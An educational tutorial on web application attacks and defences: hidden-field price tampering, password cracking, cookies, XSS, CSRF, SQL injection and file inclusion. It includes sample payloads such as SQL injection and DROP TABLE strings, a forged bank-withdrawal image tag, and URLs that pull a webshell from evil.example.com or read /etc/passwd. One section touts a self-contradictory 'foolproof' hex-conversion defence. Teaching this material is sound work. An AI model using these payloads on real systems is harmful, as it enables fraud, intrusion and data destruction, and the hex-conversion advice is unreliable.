Web Application Testing

Go back to Tutorial

Web application hacking requires the attacker to uncover applications and understand their logic. The best way to start is by just clicking through the site and spending some time examining its look and feel. Various web application attacks are discussed.

Hidden Fields

Hidden fields is a poor coding practice that has been known and publicized for some time, although it still continues. It’s the practice of using hidden HTML fields as a sole mechanism for assigning a price or obscuring a value. This practice of security by obscurity can be easily overcome by just reviewing the code. The theory is that if end users cannot see it, it is safe from tampering.

Many sites use these hidden value fields to store the price of the product that is passed to the web application. An example is as

<INPUT TYPE=HIDDEN NAME=”name” VALUE=”Mens Ring”>

<INPUT TYPE=HIDDEN NAME=”price” VALUE=”$345.50″>

<INPUT TYPE=HIDDEN NAME=”sh” VALUE=”1″>

<INPUT TYPE=HIDDEN NAME=”return” VALUE=”http://www.vulnerable_site.com/cgi-

bin/cart

.pl?db=stuff.dat&category=&search=Mens-

Rings&method=&begin=&display=&price=&merchant=”>

<INPUT TYPE=HIDDEN NAME=”add2″ VALUE=”1″>

<INPUT TYPE=HIDDEN NAME=”img”

VALUE=”http://www.vulnerable_site.com/images/c-14kring.jpg”>

These sites are easy to crack, as save the web page locally, modify the amount, and the new value will be passed to the web application. If no input validation is performed, the application will accept the new, manipulated value.

These steps are as

• Save the page locally and open the source code.
• Modify the amount and save the page. As an example, change $345.50 to $5.99, as

<INPUT TYPE=HIDDEN NAME=”name” VALUE=”Mens Ring”>

<INPUT TYPE=HIDDEN NAME=”price” VALUE=”$5.99″>

• Refresh the local HTML page and then click Add to Cart. If successful, you’ll be presented with a checkout page that reflects the new hacked value of $5.99

Some poorly written applications will even accept a negative value. Before you get too excited about this, remember that completing the order would be seen as theft and or fraud, depending on local laws. The real problem here is that an application should never rely on the web browser to set the price of an item. Even without changing the price, an attacker might just try to feed large amounts of data into the field to see how the application responds. Values from hidden fields, check boxes, select lists, and HTTP headers might be manipulated by malicious users and used to make web applications misbehave if the designer did not build in proper validation. If you think that there is a shortage of sites with these types of vulnerabilities, think again. A quick Google search for type=hidden name=price returns hundreds of hits.

Web-Based Password Cracking

An unlimited number of tools are available for the attacker to attempt to break into web-based applications. If the site does not employ a lockout policy, it is only a matter of time and bandwidth before the attacker can gain entry. Password cracking doesn’t have to involve sophisticated tools; many times password guessing works well. It can be a tedious process, although human intuition can beat automated tools. The basic types of password attacks are

• Dictionary attacks A text file full of dictionary words is loaded into a password program and then run against user accounts located by the application. If simple passwords have been used, this might be enough to crack the code.
• Hybrid attacks Similar to a dictionary attack, except that hybrid attacks add numbers or symbols to the dictionary words. Many people change their passwords by simply adding a number to the end of their current password. The pattern usually takes this form: First month’s password is Mike; second month’s password is Mike2; third month’s password is Mike3; and so on.
• Brute force attacks The most comprehensive form of attack and the most potentially time-consuming. Brute force attacks can take weeks, depending on the length and complexity of the password.

Cookies Attack

Cookies have a legitimate purpose. HTTP is a stateless protocol. For example, this presents real problems if you want to rent a car from rent-a-car.com and it asks for a location. To keep track of the location where you want to rent the car, the application must set a cookie. Information, such as location, time, and date of the rental, are packaged into a cookie and sent to your Web browser, which stores it for later use. Various tools allow to view cookies include CookieSpy, Karen’s Cookie Viewer, etc.

If the attacker can gain physical access to the victim’s computer, these tools can be used to steal cookies or to view hidden passwords. You might think that passwords wouldn’t be hidden in cookies, but that is not always the case. It’s another example of security by obscurity. Cookies used with forms authentication or other remember me functionality might hold passwords or usernames. Here’s an example:

Set-Cookie: UID= bWlrZTptaWtlc3Bhc3N3b3JkDQoNCg; expires=Fri, 06-Jan-2006

The UID value appears to contain random letters, but more than that is there. If you run it through a Base64 decoder, you end up with abc:abcpassword. It’s never good practice to store usernames and passwords in a cookie, especially in an insecure state.

URL Obfuscation

It is possible to hide addresses in URLs so that they can bypass filters or other application defenses that have been put in place to block specific IP addresses. Although web browsers recognize URLs that contain hexadecimal or binary character representations, some web filtering applications don’t. Here is an example of an encoded binary IP address: http://8812120797/. Does it look confusing? This decimal address can be converted into a human readable IP address. Convert the address into hexadecimal, divide it into four sets of two digits, and finally convert each set back into decimal to recover the IP address manually.

XSS

Cross-site scripting (XSS) enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec as of 2007. Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site’s owner.

Security on the web is based on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This essentially states that if content from one site (such as https://mybank.example1.com) is granted permission to access resources on the system, then any content from that site will share these permissions, while content from another site (https://othersite.example2.com) will have to be granted permissions separately.

Cross-site scripting uses known vulnerabilities in web-based applications, their servers, or plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, session cookies, and a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are therefore a special case of code injection.

The term “Cross-Site Scripting” was introduced by Microsoft in the year 2000. The expression “Cross-Site Scripting” originally referred to the act of loading the attacked, third-party web application from an unrelated attack site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter, Facebook, MySpace, YouTube and Orkut. In recent years, cross-site scripting flaws surpassed buffer overflows to become the most common publicly reported security vulnerability, with some researchers in 2007 viewing as many as 68% of websites as likely open to XSS attacks.

Types – There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS: non-persistent and persistent. Some sources further divide these two groups into traditional (caused by server-side code flaws) and DOM-based (in client-side code).

Reflected (non-persistent) – The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.

A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim’s browser to execute the injected script.

Persistent – The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on “normal” pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.

For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody’s real name and email. These are kept secret on the server. The only time a member’s real name and email are in the browser is when the member is signed in, and they can’t see anyone else’s.

Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other people’s browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.

To do this, for the question “Describe your Ideal First Date”, Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won’t be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory’s profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob’s real name and email directly from his own machine.

Persistent XSS can be more significant than other types because an attacker’s malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of a client-side worm.

The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.

Server-side versus DOM-based vulnerabilities – Historically XSS was first found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in JavaScript) working on the client-side that pulled data, on-demand, from the server using AJAX.

As the JavaScript code was also processing user input and rendering it in the web page content, a new sub-class of reflected XSS attacks started to appear that was called DOM-based cross-site scripting. In the DOM-based XSS, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.

An example of DOM-based XSS is the bug found in 2011 in a number of JQuery plugins. Prevention of DOM-based XSS includes very similar measures to traditional XSS, just implemented in JavaScript code and sent in web pages — input validation and escaping. Some JavaScript frameworks have built-in countermeasures against this and other types of attack — for example Angular.js.

Countermeasure

Contextual output encoding/escaping of string input – The primary defense mechanism to stop XSS is contextual output encoding/escaping. There are several different escaping schemes that must be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and URL (or percent) encoding. Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS in a fairly straightforward manner.

It is worth noting that although it is widely recommended, simply performing HTML entity encoding on the five XML significant characters is not always sufficient to prevent many forms of XSS. Encoding can be tricky, and the use of a security encoding library is highly recommended.

Safely validating untrusted HTML input – Many operators of particular web applications (e.g. forums and webmail) wish to allow users to utilize some of the features HTML provides, such as a limited subset of HTML markup. When accepting HTML input from users (say, <b>very</b> large), output encoding (such as &lt;b&gt;very&lt;/b&gt; large) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as “very large”, instead of “<b>very</b> large”). Stopping XSS when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an HTML sanitization engine to ensure that it does not contain XSS.

Cookie Security – Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling cookie-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies. To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, and only permit that IP to use that cookie. This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker is behind the same NATed IP address or web proxy as the victim, or the victim is changing his or her mobile IP.

Another mitigation present in Internet Explorer (since version 6), Firefox (since version 2.0.0.5), Safari (since version 4), Opera (since version 9.5) and Google Chrome, is an HttpOnly flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature does not fully prevent cookie theft nor can it prevent attacks within the browser.

Disabling Scripts – Finally, while Web 2.0 and Ajax designers favor the use of JavaScript, some web applications are written to (sometimes optionally) operate completely without the need for client-side scripts. This allows users, if they choose, to disable scripting in their browsers before using the application. In this way, even potentially malicious client-side scripts could be inserted unescaped on a page, and users would not be susceptible to XSS attacks.

Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. If scripting is allowed by default, then this approach is of limited value, since it blocks bad sites only after the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in Internet Explorer (since version 4) by setting up its so called “Security Zones”, and in Opera (since version 9) using its “Site Specific Preferences”. A solution for Firefox and other Gecko-based browsers is the open source NoScript add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some anti-XSS protection even when scripts are enabled.

The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded). Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities. The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.

CSRF

Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user’s context. In effect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target’s browser without knowledge of the target user, at least until the unauthorized function has been committed.

Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific ‘task url’. The task then executes with or without the user’s knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).

CSRF vulnerabilities have been known and in some cases exploited since 2001. Because it is carried out from the user’s IP address, some website logs might not have evidence of CSRF. Exploits are under-reported, at least publicly, and as of 2007 there are few well-documented examples. The online banking webapplication of ING Direct was vulnerable for a CSRF attack that allowed illicit money transfers. Popular video website YouTube was also vulnerable to CSRF in 2008 and this allowed any attacker to perform nearly all actions of ANY user. Customers of a bank in Mexico were attacked in early 2008 with an image tag in email. The link in the image tag changed the DNS entry for the bank in their ADSL router to point to a malicious website impersonating the bank.

Example and characteristics – The attack works by including a link or script in a page that accesses a site to which the user is known (or is supposed) to have been authenticated. For example, one user, Alice, might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Alice’s bank’s website (rather than an image file), e.g.,

Mallory: Hello Alice! Look here:

<img src=”http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Mallory”>

If Alice’s bank keeps her authentication information in a cookie, and if the cookie hasn’t expired, then the attempt by Alice’s browser to load the image will submit the withdrawal form with her cookie, thus authorizing a transaction without Alice’s approval.

A cross-site request forgery is a confused deputy attack against a Web browser. The deputy in the bank example is Alice’s Web browser which is confused into misusing Alice’s authority at Mallory’s direction.

The following characteristics are common to CSRF:

• Involve sites that rely on a user’s identity
• Exploit the site’s trust in that identity
• Trick the user’s browser into sending HTTP requests to a target site
• Involve HTTP requests that have side effects

At risk are web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize the specific action. A user who is authenticated by a cookie saved in the user’s web browser could unknowingly send an HTTP request to a site that trusts the user and thereby causes an unwanted action.

CSRF attacks using image tags are often made from Internet forums, where users are allowed to post images but not JavaScript.

Forging login requests – An attacker may forge a request to log the victim into a target website using the attacker’s credentials; this is known as login CSRF. Login CSRF makes various novel attacks possible; for instance, an attacker can later log into the site with his legitimate credentials and view private information like activity history that has been saved in the account. This attack has been demonstrated against Google and Yahoo.

Other Approaches – Additionally, while typically described as a static type of attack, CSRF can also be dynamically constructed as part of a payload for a cross-site scripting attack, as demonstrated by the Samy worm, or constructed on the fly from session information leaked via offsite content and sent to a target as a malicious URL. CSRF tokens could also be sent to a client by an attacker due to session fixation or other vulnerabilities, or guessed via a brute-force attack, rendered on a malicious page that generates thousands of failed requests. The attack class of “Dynamic CSRF”, or using a per-client payload for session-specific forgery, was described in 2009 by Nathan Hamiel and Shawn Moyer at the BlackHat Briefings, though the taxonomy has yet to gain wider adoption.

A new vector for composing dynamic CSRF attacks was presented by Oren Ofer at a local OWASP chapter meeting on January 2012 – “AJAX Hammer – Dynamic CSRF”

Countermeasure – Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include:

• Logoff immediately after using a Web application
• Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login
• Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing).
• The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit. This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually.

SQL Injection

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application’s software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.

SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections. The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.

SQL injection errors occur when:

• Data enters a program from an untrusted source.
• The data used to dynamically construct a SQL query

The main consequences are:

• Confidentiality: Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL Injection vulnerabilities.
• Authentication: If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.
• Authorization: If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL Injection vulnerability.
• Integrity: Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL Injection attack.

Types – SQL injection (SQLI) is considered one of the top 10 web application vulnerabilities of 2007 and 2010 by the Open Web Application Security Project. In 2013, SQLI was rated the number one attack on the OWASP top ten. There are five main sub-classes of SQL injection:

• Classic SQLI
• Blind or Inference SQL injection
• Database management system-specific SQLI
• Compounded SQLI
• SQL injection + insufficient authentication
• SQL injection + DDoS attacks
• SQL injection + DNS hijacking
• SQL injection + XSS

The Storm Worm is one representation of Compounded SQLI. This classification represents the state of SQLI, respecting its evolution until 2010—further refinement is underway.

Incorrectly filtered escape characters – This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end-user of the application. The following line of code illustrates this vulnerability.

statement = “SELECT * FROM users WHERE name ='” + userName + “‘;”

This SQL code is designed to pull up the records of the specified username from its table of users. However, if the “userName” variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the “userName” variable as:

 

‘ OR ‘1’=’1

or using comments to even block the rest of the query (there are three types of SQL comments). All three lines have a space at the end:

‘ OR ‘1’=’1′ —

‘ OR ‘1’=’1′ ({

‘ OR ‘1’=’1′ /*

renders one of the following SQL statements by the parent language:

SELECT * FROM users WHERE name = ” OR ‘1’=’1′;

SELECT * FROM users WHERE name = ” OR ‘1’=’1′ — ‘;

If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of ‘1’=’1′ is always true.

The following value of “userName” in the statement below would cause the deletion of the “users” table as well as the selection of all data from the “userinfo” table (in essence revealing the information of every user), using an API that allows multiple statements:

a’;DROP TABLE users; SELECT * FROM userinfo WHERE ‘t’ = ‘t

This input renders the final SQL statement as follows and specified:

SELECT * FROM users WHERE name = ‘a’;DROP TABLE users; SELECT * FROM userinfo WHERE ‘t’ = ‘t’;

While most SQL server implementations allow multiple statements to be executed with one call in this way, some SQL APIs such as PHP’s mysql_query() function do not allow this for security reasons. This prevents attackers from injecting entirely separate queries, but doesn’t stop them from modifying queries.

Incorrect type handling – This form of SQL injection occurs when a user-supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:

statement := “SELECT * FROM userinfo WHERE id =” + a_variable + “;”

It is clear from this statement that the author intended a_variable to be a number correlating to the “id” field. However, if it is in fact a string then the end-user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to

1;DROP TABLE users

will drop (delete) the “users” table from the database, since the SQL becomes:

SELECT * FROM userinfo WHERE id=1;DROP TABLE users;

Blind SQL injection – Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.

Conditional responses – One type of blind SQL injection forces the database to evaluate a logical statement on an ordinary application screen. As an example, a book review website uses a query string to determine which book review to display. So the URL http://books.example.com/showReview.php?ID=5 would cause the server to run the query.

SELECT * FROM bookreviews WHERE ID = ‘Value(ID)’;

from which it would populate the review page with data from the review with ID 5, stored in the table bookreviews. The query happens completely on the server; the user does not know the names of the database, table, or fields, nor does the user know the query string. The user only sees that the above URL returns a book review. A hacker can load the URLs http://books.example.com/showReview.php?ID=5 OR 1=1 and http://books.example.com/showReview.php?ID=5 AND 1=2, which may result in queries

SELECT * FROM bookreviews WHERE ID = ‘5’ OR ‘1’=’1′;

SELECT * FROM bookreviews WHERE ID = ‘5’ AND ‘1’=’2′;

respectively. If the original review loads with the “1=1” URL and a blank or error page is returned from the “1=2” URL, and the returned page has not been created to alert the user the input is invalid, or in other words, has been caught by an input test script, the site is likely vulnerable to a SQL injection attack as the query will likely have passed through successfully in both cases. The hacker may proceed with this query string designed to reveal the version number of MySQL running on the server: http://books.example.com/showReview.php?ID=5 AND substring(@@version,1,1)=4, which would show the book review on a server running MySQL 4 and a blank or error page otherwise. The hacker can continue to use code within query strings to glean more information from the server until another avenue of attack is discovered or his or her goals are achieved.

Second Order SQL Injection – Second order SQL injection occurs when submitted values contain malicious commands that are stored rather than executed immediately. In some cases, the application may correctly encode a SQL statement and store it as valid SQL. Then, another part of that application without controls to protect against SQL injection might execute that stored SQL statement. This attack requires more knowledge of how submitted values are later used. Automated web application security scanners would not easily detect this type of SQL injection and may need to be manually instructed where to check for evidence that it is being attempted.

Countermeasures –

Parameterized statements – With most development platforms, parameterized statements that work with parameters can be used (sometimes called placeholders or bind variables) instead of embedding user input in the statement. A placeholder can only store a value of the given type and not an arbitrary SQL fragment. Hence the SQL injection would simply be treated as a strange (and probably invalid) parameter value.

In many cases, the SQL statement is fixed, and each parameter is a scalar, not a table. The user input is then assigned (bound) to a parameter.

Enforcement at the coding level – Using object-relational mapping libraries avoids the need to write SQL code. The ORM library in effect will generate parameterized SQL statements from object-oriented code.

Escaping – A straightforward, though error-prone way to prevent injections is to escape characters that have a special meaning in SQL. The manual for an SQL DBMS explains which characters have a special meaning, which allows creating a comprehensive blacklist of characters that need translation. For instance, every occurrence of a single quote (‘) in a parameter must be replaced by two single quotes (”) to form a valid SQL string literal. For example, in PHP it is usual to escape parameters using the function mysqli_real_escape_string(); before sending the SQL query:

$mysqli = new mySqli(‘hostname’, ‘db_username’, ‘db_password’, ‘db_name’);

$query = sprintf(“SELECT * FROM `Users` WHERE UserName=’%s’ AND Password=’%s'”,

$$mysqli->real_escape_string($Username),

$$mysqli->real_escape_string($Password));

$mysqli->query($query);

This function prepends backslashes to the following characters: \x00, \n, \r, \, ‘, ” and \x1a. This function is normally used to make data safe before sending a query to MySQL.

There are other functions for many database types in PHP such as pg_escape_string() for PostgreSQL. The function addslashes(string $str ) works for escaping characters, and is used especially for querying on databases that do not have escaping functions in PHP. It returns a string with backslashes before characters that need to be quoted in database queries, etc. These characters are single quote (‘), double quote (“), backslash (\) and NUL (the NULL byte).

Routinely passing escaped strings to SQL is error prone because it is easy to forget to escape a given string. Creating a transparent layer to secure the input can reduce this error-proneness, if not entirely eliminate it.

Pattern check – Integer, float or boolean parameters can be checked if their value is valid representation for the given type. Strings that must follow some strict pattern (date, UUID, alphanumeric only, etc.) can be checked if they match this pattern.

Database permissions – Limiting the permissions on the database logon used by the web application to only what is needed may help reduce the effectiveness of any SQL injection attacks that exploit any bugs in the web application.

For example, on Microsoft SQL Server, a database logon could be restricted from selecting on some of the system tables which would limit exploits that try to insert JavaScript into all the text columns in the database.

deny select on sys.sysobjects to webdatabaselogon;

deny select on sys.objects to webdatabaselogon;

deny select on sys.tables to webdatabaselogon;

deny select on sys.views to webdatabaselogon;

deny select on sys.packages to webdatabaselogon;

Hexadecimal Conversion – One way to prevent SQL injection completely (via PHP) is to use the two functions DECHEX() and BIN2HEX(). The first converts any integer value into hex and the second will convert any other type of variable into hex as well. Then, instead of simply having the string or number exposed on the SQL command itself – you use the UNHEX() function to convert the hexed values back to something which can be used. The difference is – the value never goes to the SQL command interpreter itself but is kept in memory by the SQL server and applied after the interpretation of the SQL command is through. So no SQL injection can occur. An example is

SELECT * FROM users WHERE id=unhex(’05’);

Should an SQL injection be attempted, the original value (ie: 5 in the above example) might look like

SELECT * FROM users WHERE id = unhex(‘35262333393b206f7220262333393b31262333393b3d262333393b31262333393b’)

This can cause an error since “5′ or ‘1’=’1′” has no meaning in a numerical field but the error can be captured and further processing can then be done to see if it is an SQL injection. Further, since you can now capture the error you can also do such things as blacklist the TCP/IP address the request came from thus making it harder for the hacker to attack your site. There are several variations on the above that can be found at several sites on the internet. This is the most foolproof way to deal with hackers attempting to take down your SQL server via SQL Injection attacks and thus your entire site. Note that the given example does not cause an error. Instead, MySQL simply ignores everything from the single quote after the number (in this example it is “2”) to the end of the string. If this were a text field MySQL will only accept the total number of characters which make up the text/character field.

Arbitrary code execution

Arbitrary code execution is used to describe an attacker’s ability to execute any commands of the attacker’s choice on a target machine or in a target process. It is commonly used in arbitrary code execution vulnerability to describe a software bug that gives an attacker a way to execute arbitrary code. A program that is designed to exploit such a vulnerability is called an arbitrary code execution exploit. Most of these vulnerabilities allow the execution of machine code and most exploits therefore inject and execute shellcode to give an attacker an easy way to manually run arbitrary commands. The ability to trigger arbitrary code execution from one machine on another (especially via a wide-area network such as the Internet) is often referred to as remote code execution.

It is the most powerful effect a bug can have because it allows an attacker to completely take over the vulnerable process. From there the attacker can potentially take complete control over the machine the process is running on. Arbitrary code execution vulnerabilities are commonly exploited by malware to run on a computer without the owner’s consent or by an owner to run homebrew software on a device without the manufacturer’s consent.

Arbitrary code execution is commonly achieved through control over the instruction pointer of a running process. The instruction pointer points to the next instruction in the process that will be executed. Control over the value of the instruction pointer therefore gives control over which instruction is executed next. In order to execute arbitrary code, many exploits inject code into the process (for example by sending input to it which gets stored in an input buffer) and use a vulnerability to change the instruction pointer to have it point to the injected code. The injected code will then automatically get executed. This type of attack exploits the fact that most computers do not make a general distinction between code and data, so that malicious code can be camouflaged as harmless input data. Many newer CPUs have mechanisms to make this harder, such as a no-execute bit.

Once the invader can execute arbitrary code directly on the OS, there is often an attempt at a privilege escalation exploit in order to gain additional control. This may involve the kernel itself or an account such as Administrator, SYSTEM, or root. With or without this enhanced control, exploits have the potential to do severe damage or turn the computer into a zombie – but privilege escalation helps with hiding the attack from the legitimate administrator of the system. An arbitrary remote code execution with privilege escalation vulnerability in widely-deployed software is thus the most powerful vulnerability sub-type of them all. If bugs of this kind become known, fixes are usually made available within a few hours.

File inclusion vulnerability

File inclusion vulnerability is a type of vulnerability most often found on websites. It allows an attacker to include a file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file or more serious events such as

• Code execution on the web server
• Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
• Denial of service (DoS)
• Data theft/manipulation

Types of inclusion

Remote File Inclusion – Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation.

Local File Inclusion – Local File Inclusion (LFI) is similar to a Remote File Inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included. The vulnerability is also due to the use of user-supplied input without proper validation.

Example – In PHP the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function. Most notable are the include and require statements. Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has an allow_url_fopen directive which, if enabled, allows filesystem functions to use a URL to retrieve data from remote locations. An attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability all user input needs to be validated before being used.

Example

Consider this PHP script which includes a file specified by request:

<?php

if ( isset( $_GET[‘COLOR’] ) ) {

include( $_GET[‘COLOR’] . ‘.php’ );

}

?>

<form method=”get”>

<select name=”COLOR”>

<option value=”red”>red</option>

<option value=”blue”>blue</option>

</select>

<input type=”submit”>

</form>

The developer intended only blue.php and red.php to be used as options. But it is possible to inject code from other files as anyone can insert arbitrary values for the COLOR parameter.

/vulnerable.php?COLOR=http://evil.example.com/webshell.txt? – injects a remotely hosted file containing a malicious code.

/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit – Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)

/vulnerable.php?COLOR=C:\\notes.txt%00 – example using NULL meta character to remove the .php suffix, allowing access to files other than .php. (Enabling magic_quotes_gpc limits the attack by escaping special characters, thus disabling the use of the NUL terminator)

/vulnerable.php?COLOR=/etc/passwd%00 – allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.

Solutions to this include filtering or validation of the passed-in path to make sure it does not contain unintended characters and character patterns. However, this may require anticipating all possible problematic character combinations. A safer solution is to use a predefined Switch/Case statement to determine which file to include rather than use a URL or form parameter to dynamically generate the path.

Man in middle attack

